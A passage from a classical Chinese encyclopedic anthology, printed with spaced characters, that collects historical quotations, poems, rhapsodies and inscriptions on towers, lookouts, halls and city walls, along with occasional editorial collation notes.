楼 . 以 候 神 人 . 帝 乃 立 神 明 台 井 干 楼 . 高 五 十 丈 . 辇 道 相 属 .\n十 洲 记 曰 . 仑 山 有 十 二 玉 楼 .\n汉 书 曰 . 甘 延 寿 . 少 以 良 家 子 . 善 骑 射 . 尝 超 逾 羽 林 亭 楼 . 由 是 迁 为 郎 .\n吴 越 春 秋 曰 . 范 蠡 为 句 践 立 飞 翼 楼 . 以 象 天 门 .\n东 观 汉 记 曰 . 上 至 广 阿 . 止 城 门 楼 上 . 披 舆 地 图 . 指 示 邓 禹 曰 . 天 下 郡 国 如 是 . 我 乃 始 得 一 处 . 卿 言 天 下 不 足 定 何 也 .\n吴 志 曰 . 刘 基 美 容 姿 . 孙 权 爱 敬 之 . 权 暑 时 . 尝 于 舡 中 宴 楼 上 . 作 雷 雨 . 权 以 盖 自 覆 . 又 命 覆 基 . 余 人 不 得 也 .\n虞 氏 家 记 曰 . 吴 小 城 白 门 . 盖 吴 王 阖 闾 所 作 也 . 至 秦 始 皇 . 守 宫 吏 烛 鷰 窟 . 失 火 烧 宫 . 而 此 楼 故 存 .\n晋 宫 阁 名 曰 . 总 章 观 . 仪 风 楼 一 所 . 在 观 上 . 广 望 观 之 南 . 又 别 有 翔 凤 楼 .\n赖 乡 记 曰 . 老 子 庙 有 皇 天 楼 九 柱 楼 静 念 楼 . 皆 画 仙 人 云 气 .\n袁 彦 伯 罗 山 疏 曰 . 仰 望 石 楼 . 眇 然 在 云 中 .\n世 说 曰 . 凌 云 台 楼 观 极 精 巧 . 先 称 平 众 材 . 轻 重 当 宜 . 然 后 造 构 . 乃 无 锱 铢 相 负 揭 . 台 虽 高 崚 . 恒 随 风 摇 动 . 魏 明 帝 登 台 . 惧 其 势 危 . 别 以 大 材 扶 持 之 . 楼 即 便 颓 坏 . 论 者 谓 轻 重 力 偏 故 也 .\n幽 明 录 曰 . 邺 城 凤 阳 门 五 层 楼 . 去 地 二 十 丈 . 长 四 十 丈 . 广 二 十 丈 . 安 金 凤 皇 二 头 于 其 上 . 一 头 飞 入 漳 河 . 清 浪 ○ 太 平 御 览 一 百 七 十 六 作 朗 . 见 在 水 底 . 一 头 今 犹 存 .\n述 异 传 曰 . 荀 瑰 . 字 叔 伟 . 寓 居 江 陵 . 憩 江 夏 黄 鹄 楼 上 . 望 西 南 . 有 物 飘 然 . 降 自 云 汉 . 俄 顷 已 至 . 乃 驾 鹤 之 宾 也 . 鹤 止 户 侧 . 仙 者 就 席 . 羽 衣 虹 裳 . 宾 主 欢 对 . 辞 去 . 跨 鹤 腾 空 . 眇 然 烟 灭 .\n【 诗 】 古 诗 曰 . 西 北 有 高 楼 . 上 与 浮 云 齐 . 交 疏 结 绮 窗 . 阿 阁 三 重 阶 .\n宋 文 帝 登 景 阳 楼 诗 曰 . 崇 堂 临 万 雉 . 曾 楼 跨 九 成 . 瑶 轩 笼 翠 幌 . 组 幕 翳 云 屏 . 阶 上 晓 露 洁 . 林 下 夕 风 清 . 蔓 藻 嬛 绿 叶 . 芳 兰 媚 紫 茎 . 极 望 周 天 险 . 留 察 浃 神 京 . 交 渠 纷 绮 错 . 列 植 发 华 英 .\n梁 武 帝 登 北 顾 楼 诗 曰 . 歇 驾 止 行 警 . 回 舆 暂 游 识 . 清 道 巡 丘 壑 . 缓 步 肆 登 陟 . 雁 行 上 差 池 . 羊 肠 转 相 逼 . 历 览 穷 天 步 . 晒 瞩 尽 地 域 . 南 城 连 地 险 . 北 顾 临 水 侧 . 深 潭 下 无 底 . 高 岸 长 不 测 . 旧 屿 石 若 构 . 新 洲 花 如 织 .\n梁 简 文 帝 奉 和 登 北 顾 楼 诗 曰 . 舂 陵 佳 气 地 . 济 水 凤 皇 宫 . 况 此 徐 方 域 . 川 岳 迈 同 沣 . 皇 情 爱 历 览 . 游 陟 拟 崆 峒 . 聊 驱 式 道 候 . 无 劳 襄 野 童 . 雾 崖 开 早 日 . 晴 天 歇 晚 虹 . 去 帆 入 云 里 . 遥 星 出 海 中 .\n又 登 烽 火 楼 诗 曰 . 耸 楼 排 树 出 . 却 堞 带 江 清 . 陟 峰 试 远 望 . 郁 郁 尽 郊 京 . 万 邑 王 畿 旷 . 三 条 绮 陌 平 . 亘 原 横 地 险 . 孤 屿 派 流 生 . 悠 悠 归 桌 入 . 眇 眇 去 帆 惊 . 水 烟 浮 岸 起 . 遥 禽 逐 雾 征 .\n又 水 中 楼 影 诗 曰 . 水 底 罘 罳 出 . 萍 闲 反 宇 浮 . 风 生 色 不 坏 . 浪 去 影 恒 留 .\n梁 沈 约 登 玄 畅 楼 诗 曰 . 危 峰 带 北 阜 . 圆 鼎 出 南 岑 . 中 有 凌 风 树 . 回 望 川 之 阴 . 涯 岸 每 增 减 . 湍 平 互 浅 深 . 水 流 本 三 派 . 台 高 乃 四 临 . 上 有 离 群 客 . 客 有 慕 归 心 . 落 晖 映 长 浦 . 焕 景 烛 中 寻 . 云 生 岭 乍 黑 . 日 下 溪 半 阴 . 信 美 非 吾 土 . 何 事 不 抽 簪 .\n梁 刘 孝 绰 登 阳 云 楼 诗 曰 . 吾 土 阳 台 上 . 非 梦 高 台 客 . 回 首 望 长 安 . 千 里 怀 三 益 . 顾 惟 惭 入 楚 . 降 私 等 申 白 . 西 沮 水 潦 收 . 昭 丘 霜 露 积 . 龙 门 不 可 见 . 空 慕 凌 霜 柏 .\n梁 王 台 卿 咏 水 中 楼 影 诗 曰 . 飘 飖 似 云 度 . 亭 亭 如 盖 浮 . 熟 看 波 不 动 . 还 是 映 高 楼 .\n【 赋 】 魏 王 粲 登 楼 赋 曰 . 登 兹 楼 以 四 望 . 聊 暇 日 以 销 忧 . 览 斯 宇 之 所 处 . 实 显 敞 而 寡 仇 . 接 清 漳 之 通 浦 . 倚 曲 阻 之 长 洲 . 北 弥 陶 牧 . 西 接 昭 丘 . 虽 信 美 而 非 吾 土 . 曾 何 足 以 少 留 . 凭 轩 槛 以 遥 望 . 向 北 风 而 开 襟 . 平 原 远 而 目 极 . 蔽 荆 山 之 高 岑 . 路 逶 迤 而 脩 回 . 川 既 漾 而 济 深 . 昔 尼 父 之 在 陈 . 有 归 欤 之 叹 音 . 钟 仪 幽 而 楚 奏 . 庄 显 而 越 吟 . 人 情 同 于 怀 土 . 岂 穷 达 之 异 心 . 惟 日 月 之 逾 迈 . 俟 河 清 其 何 极 . 冀 王 道 之 一 平 . 假 高 衢 而 骋 力 . 步 栖 迟 而 徙 倚 . 白 日 忽 其 西 匿 . 风 萧 瑟 而 并 兴 . 天 惨 惨 而 无 色 . 兽 狂 顾 以 求 群 . 鸟 相 鸣 而 鼓 翼 . 原 野 其 无 人 . 征 夫 行 而 未 息 . 循 阶 除 而 下 降 . 气 交 愤 于 胸 臆 . 夜 参 半 而 不 寐 . 怅 盘 桓 以 反 侧 .\n晋 孙 楚 登 楼 赋 曰 . 有 都 城 之 百 雉 . 加 曾 楼 之 五 寻 . 从 明 王 之 登 游 . 聊 暇 日 以 娱 心 . 鸣 鸠 拂 羽 于 桑 榆 . 游 凫 濯 翅 于 素 波 . 牧 吟 啸 于 行 陌 . 舟 人 鼓 枻 而 扬 歌 . 百 僚 云 集 . 促 坐 华 台 . 嘉 肴 满 俎 . 旨 酒 盈 杯 . 谈 三 坟 而 咏 五 典 . 释 圣 哲 之 所 裁 .\n晋 枣 据 登 楼 赋 曰 . 怀 离 客 之 远 思 . 情 惨 悯 而 惆 怅 . 登 兹 楼 而 逍 遥 . 聊 因 高 以 遐 望 . 感 斯 州 之 厥 域 . 寔 帝 王 之 旧 疆 . 挹 呼 沱 之 浊 河 . 怀 通 川 之 清 漳 . 原 隰 开 辟 . 荡 臻 夷 薮 . 桑 麻 被 野 . 黍 稷 盈 亩 . 礼 仪 既 度 . 民 繁 财 阜 . 怀 桑 梓 之 旧 爱 . 信 古 今 之 同 情 . 钟 仪 惨 而 南 音 . 庄 感 而 越 声 . 岂 吾 人 之 狭 隘 . 能 去 心 而 无 营 . 情 戚 戚 于 下 国 . 意 干 干 于 上 京 .\n晋 郭 璞 登 百 尺 楼 赋 曰 . 在 青 阳 之 季 月 . 登 百 尺 以 高 观 . 嘉 斯 游 之 可 娱 . 乃 老 氏 之 所 叹 . 抚 凌 槛 以 遥 想 . 乃 极 目 而 肆 运 . 情 眇 然 以 思 远 . 怅 自 失 而 潜 愠 . 瞻 禹 台 之 隆 崛 . 奇 巫 咸 之 孤 峙 . 美 盐 池 之 滉 污 . 蒸 紫 氛 而 霞 起 . 异 傅 岩 之 幽 人 . 神 介 山 之 伯 子 . 揖 首 阳 之 二 老 . 招 鬼 谷 之 隐 士 . 嗟 王 室 之 蠢 蠢 . 方 构 怨 而 极 武 . 哀 神 器 之 迁 浪 . 指 缀 旒 以 譬 主 . 雄 戟 列 于 廊 技 . 戎 马 鸣 乎 讲 柱 . 寤 苕 华 而 增 怪 . 叹 飞 驷 之 过 户 . 陟 兹 楼 以 旷 眺 . 情 慨 尔 而 怀 古 .\n【 铭 】 宋 鲍 昭 凌 烟 楼 铭 曰 . 瞰 列 江 楹 . 望 景 延 除 . 积\n清 风 路 . 含 彩 烟 途 . 俯 窥 淮 海 . 俛 眺 荆 吴 . 我 王 结 驾 .\n藻 思 神 居 . 宜 此 万 春 . 脩 灵 所 扶 .\n孙 子 兵 法 曰 . 攻 城 之 法 . 修 橹 枌 . 其 器 械 三 月 而 后 成 .\n陆 机 洛 阳 记 曰 . 洛 阳 城 . 周 公 所 制 . 东 西 十 里 . 南 北 十 三 里 . 城 上 百 步 有 一 楼 橹 . 外 有 沟 渠 .\n【 赋 】 晋 欧 阳 建 登 橹 赋 曰 . 登 兹 橹 以 遐 眺 . 辟 曾 轩 以\n高 盻 . 仰 天 涂 之 绵 邈 . 俯 平 原 之 旷 衍 . 嘉 苍 春 之 令 节 .\n悦 和 风 之 微 扇 . 傍 观 八 隅 . 周 览 四 垂 . 面 孤 丘 之 峻 峙 .\n岨 曲 岸 之 脩 崖 . 植 榆 楸 以 成 列 . 插 垂 柳 之 差 差 . 寓 目 忽\n以 终 日 . 情 亹 亹 而 忘 疲 .\n列 子 曰 . 岱 舆 山 上 台 观 . 皆 金 玉 . 仙 圣 飞 相 来 往 .\n史 记 曰 . 公 孙 卿 谓 武 帝 曰 . 仙 人 好 楼 居 . 于 是 上 令 长 安 作 飞 廉 桂 观 . 甘 泉 则 作 延 寿 观 .\n汉 书 曰 . 甘 露 二 年 . 冬 十 二 月 . 上 幸 ● 阳 宫 属 玉 观 .\n又 曰 . 孝 成 皇 帝 . 元 帝 太 子 也 . 生 甲 观 画 堂 .\n三 辅 皇 图 曰 . 武 帝 起 鳷 鹊 观 . 神 明 观 . 集 灵 观 . 阳 禄 观 .\n汉 宫 殿 名 曰 . 长 安 有 临 仙 观 . 渭 桥 观 . 仙 人 观 . 霸 昌 观 . 兰 池 观 . 平 乐 观 . 九 华 观 . 豫 章 观 . 三 章 观 . 昆 明 观 . 走 马 观 . 华 光 观 . 封 峦 观 . 走 狗 观 . 天 梯 观 . 瑶 台 观 . 流 渠 观 . 相 思 观 . 长 平 观 . 宜 春 观 . 华 池 观 . 射 熊 观 . 迎 风 观 . 露 寒 观 .\n魏 志 曰 . 明 帝 置 崇 文 观 . 征 善 属 文 者 以 充 之 .\n陆 机 洛 阳 地 记 曰 . 宫 中 有 临 高 . 陵 云 . 宣 曲 . 广 望 . 阆 风 . 万 世 . 修 龄 . 总 章 . 听 讼 . 凡 九 观 . 皆 高 十 六 七 丈 . 以 云 母 着 窗 里 . 日 曜 之 . 炜 炜 有 光 辉 . 华 延 俊 洛 阳 记 曰 . 洛 阳 城 十 八 观 . 皆 施 玄 槛 铁 笼 . 疏 云 母 幌 .\n华 山 记 曰 . 南 岭 东 岩 北 面 . 有 二 小 山 . 一 山 有 双 石 生 . 号 曰 石 门 . 一 山 石 孤 崖 特 秀 . 上 有 客 观 . 涉 之 . 远 者 眺 十 里 .\n【 诗 】 隋 江 总 侍 宴 玄 武 观 诗 曰 . 诘 晓 三 春 暮 . 新 雨 百 花 朝 . 星 宫 移 渡 汉 . 天 驷 动 行 镳 . 旆 转 苍 龙 阙 . 尘 飞 饮 马 桥 . 翠 观 迎 斜 照 . 丹 楼 望 落 潮 . 鸟 声 云 里 出 . 树 彩 浪 中 摇 . 歌 吟 奉 天 咏 . 未 必 待 闻 韶 .\n【 赋 】 后 汉 崔 骃 大 将 军 临 洛 观 赋 曰 . 滨 曲 洛 而 立 观 . 营 高 壤 而 作 庐 . 处 崇 显 以 闲 敞 . 超 绝 邻 而 特 居 . 列 阿 阁 以 环 匝 . 表 高 台 而 起 楼 . 步 辇 道 以 周 流 . 临 轩 槛 以 观 鱼 . 于 是 迎 夏 之 首 . 末 春 之 垂 . 桃 枝 夭 夭 . 杨 柳 猗 猗 . 既 乃 日 垂 西 阳 . 中 曜 内 光 . 弛 衔 纵 策 . 逸 如 奔 飏 .\n后 汉 李 尤 平 乐 观 赋 曰 . 乃 设 平 乐 之 显 观 . 章 秘 玮 之 奇 珍 . 习 禁 武 以 讲 捷 . 厌 不 羁 之 遐 邻 . 徒 观 平 乐 之 制 . 郁 崔 嵬 以 离 娄 . 赫 岩 岩 其 崟 ● . 纷 电 影 以 盘 盱 . 弥 平 原 之 博 敞 . 处 金 商 之 维 陬 . 大 厦 累 而 鳞 次 . 承 岧 峣 之 翠 楼 . 过 洞 房 之 转 闼 . 历 金 环 之 华 铺 . 南 切 洛 滨 . 北 陵 仓 山 . 龟 池 泱 漭 . 果 林 榛 榛 . 天 马 沛 艾 . 鬣 尾 布 分 . 尔 乃 大 和 隆 平 . 万 国 肃 清 . 殊 方 重 译 . 绝 域 造 庭 . 四 表 交 会 . 抱 珍 远 并 . 杂 遝 归 谊 . 集 于 春 正 . 玩 屈 奇 之 神 怪 . 显 逸 才 之 捷 武 . 百 僚 于 时 . 各 命 所 主 . 方 曲 既 设 . 秘 戏 连 叙 . 逍 遥 俯 仰 . 节 以 鞀 鼓 . 戏 车 高 橦 . 驰 骋 百 马 . 连 翩 九 仞 . 离 合 上 下 . 或 以 驰 骋 . 覆 车 颠 倒 . 乌 获 扛 鼎 . 千 钧 若 羽 . 吞 刃 吐 火 . 燕 跃 乌 跱 . 陵 高 履 索 . 踊 跃 旋 舞 . 飞 丸 跳 剑 . 沸 渭 回 扰 . 巴 渝 隈 一 . 逾 肩 相 受 . 有 仙 驾 雀 . 其 形 蚴 虬 . 骑 驴 驰 射 . 狐 兔 惊 走 . 侏 儒 巨 人 . 戏 谑 为 耦 . 禽 鹿 六 駮 . 白 象 朱 首 . 鱼 龙 曼 延 . ● 山 阜 . 龟 螭 蟾 蜍 . 挈 琴 鼓 缶 .\n又 东 观 赋 曰 . 敷 华 实 于 雍 堂 . 集 干 质 于 东 观 . 东 观 之 艺 . 孽 孽 洋 洋 . 上 承 重 阁 . 下 属 周 廊 . 步 西 蕃 以 徙 倚 . 好 绿 树 之 成 行 . 历 东 之 敞 坐 . 庇 蔽 茅 之 甘 棠 . 前 望 云 台 . 后 匝 德 阳 . 道 无 隐 而 不 显 . 书 无 阙 而 不 陈 . 览 三 代 而 采 宜 . 包 郁 郁 之 周 文 .\n魏 陈 王 曹 植 游 观 赋 曰 . 静 闲 宫 而 无 事 . 将 游 目 以 自 娱 . 登 北 观 而 启 路 . 涉 云 路 之 飞 除 . 从 熊 罴 之 武 士 . 荷 长 戟 而 先 驱 . 罢 若 云 归 . 会 如 雾 聚 . 车 不 及 回 . 尘 不 获 举 . 奋 袂 成 风 . 挥 汗 如 雨 .\n又 临 观 赋 曰 . 登 高 墉 兮 望 四 泽 . 临 长 流 兮 送 远 客 . 春 风 畅 兮 气 通 灵 . 草 含 干 兮 木 交 茎 . 丘 陵 窟 兮 松 柏 青 . 南 园 薆 兮 果 戴 荣 . 乐 时 物 之 逸 豫 . 悲 予 志 之 长 违 . 叹 东 山 以 愬 勤 . 歌 式 微 以 咏 归 . 进 无 路 以 效 公 . 退 无 隐 以 营 私 . 俯 无 鳞 以 游 遁 . 仰 无 翼 以 翻 飞 .\n【 铭 】 后 汉 李 尤 东 观 铭 曰 . 周 氏 旧 区 . 皇 汉 寔 循 . 房\n闼 内 布 . 疏 绮 外 陈 . 升 降 三 除 . 贯 启 七 门 . 是 谓 东 观 .\n书 籍 林 泉 . 列 侯 弘 雅 . 治 掌 艺 文 .\n释 名 曰 . 堂 犹 堂 堂 . 高 显 貌 也 .\n礼 记 曰 . 堂 上 不 趋 . 堂 上 接 武 . 堂 下 布 武 .\n又 曰 . 觐 礼 . 天 子 不 下 堂 而 见 诸 侯 . 下 堂 见 诸 侯 . 天 子 之 失 礼 也 . 由 夷 王 以 下 .\n庄 子 曰 . 覆 杯 水 于 坳 堂 之 上 . 则 芥 为 之 舟 . 置 杯 焉 则 胶 . 水 浅 而 舟 大 也 .\n楚 辞 曰 . 鱼 鳞 屋 兮 龙 堂 .\n十 洲 记 曰 . 仑 山 有 光 碧 之 堂 .\n说 苑 曰 . 圣 人 于 天 下 . 譬 犹 一 堂 之 上 也 . 今 有 满 堂 饮 酒 者 . 有 一 人 犹 向 隅 而 泣 . 则 一 堂 之 人 皆 为 之 不 乐 .\n汉 武 内 传 曰 . 上 元 夫 人 言 . 西 王 母 有 六 甲 之 术 . 用 之 可 以 游 景 云 之 宫 . 登 流 霞 之 堂 .\n汉 武 故 事 曰 . 玉 堂 去 地 十 二 丈 . 基 阶 皆 用 玉 也 .\n汉 书 曰 . 玉 堂 在 太 液 池 南 .\n续 汉 书 曰 . 中 平 二 年 . 造 万 金 堂 于 西 园 .\n论 衡 曰 . 王 者 之 堂 . 墨 子 称 尧 舜 堂 高 三 尺 . 儒 家 以 为 卑 下 . 假 使 之 然 . 高 三 尺 之 堂 . 蓂 荚 生 于 阶 下 . 须 临 堂 察 之 . 起 视 堂 下 之 荚 . 孰 与 悬 . 日 历 于 扆 坐 . 顾 辄 见 之 也 .\n风 俗 通 曰 . 殿 堂 象 东 井 形 . 刻 作 荷 菱 . 荷 菱 水 物 也 . 所 以 厌 火 .\n晋 宫 阁 名 曰 . 洛 阳 宫 有 则 百 堂 . 螽 斯 堂 . 休 征 堂 . 延 禄 堂 . 承 庆 堂 . 仁 寿 堂 . 绥 福 堂 . 含 芳 堂 . 乐 昌 堂 . 椒 华 堂 . 芳 音 堂 . 永 光 堂 .\n挚 虞 决 疑 要 注 曰 . 殿 堂 之 上 . 唯 天 子 居 床 . 其 余 皆 幅 席 . 席 前 设 筵 . 礼 . 天 子 之 殿 . 东 西 九 筵 . 南 北 七 筵 . 故 曰 度 堂 以 筵 . 度 室 以 几 .\n华 阳 国 志 曰 . 文 翁 立 讲 堂 . 作 石 室 一 . 曰 玉 堂 . 在 城 南 . 初 堂 遇 火 . 太 守 更 修 立 . 又 增 二 石 室 .\n虞 氏 家 记 曰 . 虞 潭 . 右 卫 将 军 . 太 夫 人 年 高 . 求 解 职 . 被 诏 不 听 . 特 假 百 日 . 迎 母 东 归 . 起 堂 养 亲 . 亲 集 会 . 作 诗 言 志 .\n齐 地 记 曰 . 临 淄 城 西 门 外 . 有 古 讲 堂 . 基 柱 犹 存 . 齐 宣 王 修 文 学 处 也 .\n【 诗 】 梁 庾 肩 吾 咏 疏 圃 堂 诗 曰 . 北 堂 多 暇 豫 . 时 驾 总 鸾 镳 . 疏 静 繁 葭 澈 . 轮 轻 羽 盖 飘 . 临 空 坐 飞 观 . 回 首 望 浮 桥 . 风 长 旦 钟 近 . 地 迥 洛 城 遥 . 疏 林 不 得 日 . 涸 浦 暂 通 潮 . 徒 然 等 宾 从 . 并 作 愧 群 僚 .\n【 赋 】 陈 江 总 云 堂 赋 曰 . 览 黄 图 之 栋 宇 . 规 紫 宸 于 太 清 . 何 面 势 之 胶 葛 . 信 不 日 之 经 营 . 仰 一 时 之 壮 丽 . 跨 万 古 之 威 灵 . 吐 触 石 之 奇 色 . 混 高 堂 之 旧 名 . 若 乃 三 阶 八 户 . 百 栱 千 楹 . 莹 以 玉 琇 . 饰 以 金 英 . 绿 芰 悬 插 . 红 蕖 倒 生 . 于 时 木 叶 声 寒 . 壶 人 唱 静 . 承 露 擎 虚 . 相 风 照 迥 . 天 子 乃 下 辇 开 宴 . 出 豫 娱 神 . 文 悬 日 月 . 思 革 风 尘 . 是 负 凤 之 多 幸 . 愧 屠 龙 之 不 真 .\n【 颂 】 晋 庾 阐 乐 贤 堂 颂 曰 . 峨 峨 隆 构 . 岌 岌 其 峻 . 阶 延 白 屋 . 寝 登 髦 俊 . 神 心 所 寄 . 莫 往 非 顺 . 灵 图 表 像 . 平 敷 玉 润 . 游 虬 一 壑 . 栖 鸾 一 丛 . 川 澄 华 沼 . 树 拂 椅 桐 . 林 有 晨 风 . 翮 有 西 雍 . 高 观 回 云 . 疏 猋 绮 窗 . 洋 洋 帝 猷 . 恢 恢 天 造 . 思 乐 云 基 . 克 配 祖 考 . 仰 瞻 昆 丘 . 俯 怀 明 圣 . 玄 珠 虽 朗 . 离 人 莫 映 . 清 风 徘 徊 . 微 言 绝 咏 . 有 邈 高 构 . 永 廓 灵 命 .\n【 铭 】 后 汉 李 尤 堂 铭 曰 . 因 邑 制 宅 . 爰 兴 殿 堂 . 夏 屋\n渠 渠 . 高 敞 清 凉 . 家 以 师 礼 . 修 奉 蒸 尝 . 延 宾 西 阶 . 主\n近 东 厢 . 宴 乐 嘉 客 . 吹 笙 鼓 簧 .\n说 文 曰 . 城 . 以 盛 民 也 . 墉 . 城 垣 也 .\n博 物 志 曰 . 禹 作 城 . 彊 者 攻 . 弱 者 守 . 敌 者 战 . 城 郭 自 禹 始 也 .\n周 书 曰 . 周 公 作 大 邑 成 周 于 土 中 . 立 城 . 方 千 六 百 二 十 丈 . 郛 方 七 十 二 里 . 南 系 于 洛 水 . 北 因 于 陕 山 .\n公 羊 传 曰 . 城 雉 者 何 . 五 板 而 堵 . 五 堵 而 雉 . 百 雉 而 城 .\n史 记 曰 . 秦 二 世 欲 漆 城 . 优 旃 曰 . 善 哉 . 漆 城 荡 荡 . 寇 来 不 得 上 . 固 难 为 荫 屋 尔 . 二 世 乃 止 .\n淮 南 子 曰 . 昆 仑 山 有 曾 城 九 重 .\n列 女 传 曰 . 齐 人 杞 梁 . 袭 莒 战 而 死 . 其 妻 无 所 归 . 乃 枕 夫 尸 于 城 下 而 哭 之 . 七 日 而 城 崩 . 妻 遂 投 淄 水 而 死 . 太 康 地 记 曰 . 梁 孝 王 筑 睢 阳 城 . 方 十 二 里 . 以 鼓 唱 节 杵 而 后 下 . 和 之 者 称 睢 阳 . 因 以 为 名 .\n汉 书 曰 . 神 农 之 教 曰 . 有 石 城 十 仞 . 汤 池 百 步 . 带 甲 百 万 . 而 无 粟 不 能 守 也 .\n又 曰 . 胶 东 前 国 王 . 治 胶 河 . 水 分 流 绕 城 下 . 故 号 胶 河 . ○ 按 本 条 见 汉 书 九 十 六 西 域 传 . 作 车 师 前 国 王 治 交 河 城 . 河 水 分 流 绕 城 下 . 故 号 交 河 . 此 有 讹 误 . 太 平 御 览 一 百 九 十 二 引 不 误 .\n风 俗 通 曰 . 众 心 成 城 . 俗 说 曰 . 众 人 同 心 者 . 可 共 筑 起 一 城 . 同 心 共 饮 . 雒 阳 酒 可 尽 也 . 关 中 记 曰 . 长 安 城 皆 黑 壤 . 城 今 赤 如 火 . 坚 如 石 . 父 老 所 传 . 尽 凿 龙 首 山 土 为 城 . 又 诸 台 阙 亦 尔 .\n王 隐 晋 书 曰 . 凉 州 城 有 卧 龙 形 . 故 名 卧 龙 城 . 南 北 七 十 里 . 东 西 三 十 里 . 本 匈 奴 所 筑 也 .\n襄 阳 耆 旧 记 曰 . 庞 德 公 在 沔 水 上 . 至 老 不 入 襄 阳 城 .\n丹 阳 记 曰 . 石 头 城 . 因 山 为 城 . 江 以 为 池 . 地 形 险 固 . 尤 省 奇 势 .\n秦 州 记 曰 . 金 城 郡 . 汉 元 始 六 年 置 . 应 劭 曰 . 初 筑 城 . 得 金 . 故 曰 金 城 .\n盛 弘 之 荆 州 记 曰 . 樊 城 西 北 有 鄾 城 . 西 百 余 里 . 有 鼓 城 . 鼓 伯 绥 之 国 . 城 门 有 石 人 焉 . 刊 其 腹 云 . 摩 兜 鞬 . 摩 兜 鞬 . 慎 莫 言 . 疑 此 亦 周 太 庙 金 人 缄 口 铭 背 之 流 也 .\n荆 州 图 经 曰 . 江 夏 郡 所 治 夏 口 城 . 其 西 南 角 . 因 矶 为 高 墉 . 枕 流 . 上 则 回 眺 山 川 . 下 则 激 浪 崎 岖 . 是 曰 黄 鹄 矶 . 寔 乃 舟 人 之 所 艰 也 .\n益 州 记 曰 . 益 州 城 . 张 仪 所 筑 . 锦 城 在 州 南 . 蜀 时 故 宫 也 . 处 号 锦 里 .\n齐 地 记 曰 . 不 夜 城 . 在 阳 廷 东 南 . 盖 古 有 日 夜 出 此 城 . 以 不 夜 名 . 异 之 也 .\n【 诗 】 梁 简 文 帝 从 顿 还 城 诗 曰 . 汉 渚 水 初 渌 . 江 南 草 复 黄 . 日 照 蒲 心 暖 . 风 吹 梅 枝 香 . 征 舻 舣 汤 堑 . 归 骑 息 金 隍 . 舞 观 衣 恒 襞 . 歌 台 弦 未 张 . 持 此 横 行 去 . 谁 念 守 空 床 .\n又 登 城 诗 曰 . 日 影 半 东 檐 . 靖 念 空 杼 柚 . 小 堂 倦 缥 书 . 华 池 厌 脩 竹 . 寂 寞 既 寡 悰 . 登 城 望 原 陆 . 遥 山 半 吐 云 . 严 飙 时 响 谷 . 靡 靡 见 虚 烟 . 森 森 视 寒 木 . 落 霞 乍 续 断 . 晚 浪 时 回 复 . 远 瞩 既 濡 翰 . 徒 自 劳 心 目 . 短 歌 虽 可 裁 . 缘 情 非 雾 縠 .\n又 登 城 北 望 诗 曰 . 登 楼 传 昔 赋 . 出 蓟 表 前 闻 . 霸 陵 忽 回 首 . 河 堤 徒 望 军 . 兹 焉 聊 回 眺 . 极 目 杳 难 分 . 一 水 斜 开 岸 . 双 城 遥 共 云 .\n梁 江 淹 登 纪 南 城 诗 曰 . 恭 承 前 嘉 惠 . 末 官 至 南 荆 . 敛 衽 承 光 彩 . 端 笏 奉 仁 明 . 再 逢 绿 草 合 . 重 见 翠 云 生 . 江 甸 知 礼 富 . 汉 渚 闻 教 清 . 君 王 澹 以 思 . 树 羽 望 楚 城 . 年 积 衣 剑 灭 . 地 远 宫 馆 平 .\n【 赋 】 魏 文 帝 登 城 赋 曰 . 孟 春 之 月 . 惟 岁 权 舆 . 和 风 初 畅 . 有 穆 其 舒 . 驾 言 东 道 . 陟 彼 城 楼 . 逍 遥 远 望 . 乃 欣 以 娱 . 平 原 博 敞 . 中 田 辟 除 . 嘉 麦 被 垄 . 缘 路 带 衢 . 流 茎 散 叶 . 列 倚 相 扶 . 水 幡 幡 其 长 流 . 鱼 裔 裔 而 东 驰 . 风 飘 飖 而 既 臻 . 日 掩 薆 而 西 移 . 望 旧 馆 而 言 旋 . 永 优 游 而 无 为 .\n晋 孙 楚 登 城 赋 曰 . 有 都 城 之 百 雉 . 加 层 楼 之 五 寻 . 从 明 王 以 登 极 . 聊 暇 日 以 娱 心 . 泾 渭 汨 以 徂 迈 . 卉 木 郁 而 成 林 . 晞 朝 阳 之 素 晖 . 羡 绿 竹 之 茂 阴 . 望 秦 坟 于 骊 山 . 睹 八 陵 于 北 岑 . 营 巷 基 峙 . 列 宅 万 区 . 黎 民 布 野 . 商 旅 充 衢 . 杞 柳 绸 缪 . 芙 蓉 吐 芳 . 俯 依 青 川 . 仰 翳 朱 杨 . 体 象 濛 汜 . 幽 若 扶 桑 . 白 日 为 之 昼 昏 . 鸟 禽 为 之 颉 颃 .\n宋 鲍 昭 芜 城 赋 曰 . 崒 若 断 岸 . 矗 似 长 云 . 制 磁 石 以 御 冲 . 糊 赪 壤 以 飞 文 . 观 基 扃 之 固 护 . 将 万 杞 而 一 君 . 出 入 三 代 . 五 百 余 载 . 竟 瓜 割 而 豆 分 . 至 若 白 杨 早 落 . 塞 草 前 衰 . 棱 棱 霜 气 . 蔌 蔌 风 威 . 孤 蓬 自 振 . 惊 沙 坐 飞 . 通 池 既 已 夷 . 峻 隅 又 已 颓 . 直 视 千 里 外 . 唯 见 起 黄 埃 . 若 夫 藻 扃 黼 帐 . 歌 台 舞 阁 之 基 . 琁 渊 碧 树 . 弋 林 钓 渚 之 馆 . 吴 蔡 齐 秦 之 声 . 鱼 龙 爵 马 之 玩 . 皆 薰 歇 烬 灭 . 光 沉 响 绝 . 东 都 妙 姬 . 南 国 佳 人 . 蕙 心 纨 质 . 玉 貌 绛 唇 . 莫 不 埋 魂 幽 石 . 委 骨 穷 尘 . 岂 忆 同 辇 之 愉 乐 . 离 宫 之 苦 辛 . 歌 曰 . 边 风 起 兮 城 上 寒 . 井 径 灭 兮 丘 垄 残 . 千 龄 兮 万 代 . 共 尽 兮 何 言 .\n梁 吴 筠 吴 城 赋 曰 . 古 树 荒 烟 . 几 百 千 年 . 云 是 吴 王 所 筑 . 越 王 所 迁 . 东 有 铸 剑 残 水 . 西 有 舞 鹤 故 . 萦 具 区 之 广 泽 . 带 姑 苏 之 远 山 . 仆 本 蓄 怨 . 千 悲 忆 恨 . 况 复 荆 棘 萧 森 . 丛 萝 弥 蔓 . 亭 梧 百 尺 . 皆 历 地 而 生 枝 . 阶 筠 万 丈 . 或 至 杪 而 无 叶 . 不 见 春 荷 夏 堇 . 唯 闻 秋 蝉 冬 蝶 . 木 魅 晨 走 . 山 鬼 夜 惊 . 不 知 九 州 四 海 . 乃 复 有 此 吴 城 .\n【 铭 】 后 汉 李 尤 京 师 城 铭 曰 . 天 险 匪 登 . 地 险 丘 陵 .\n帝 王 设 险 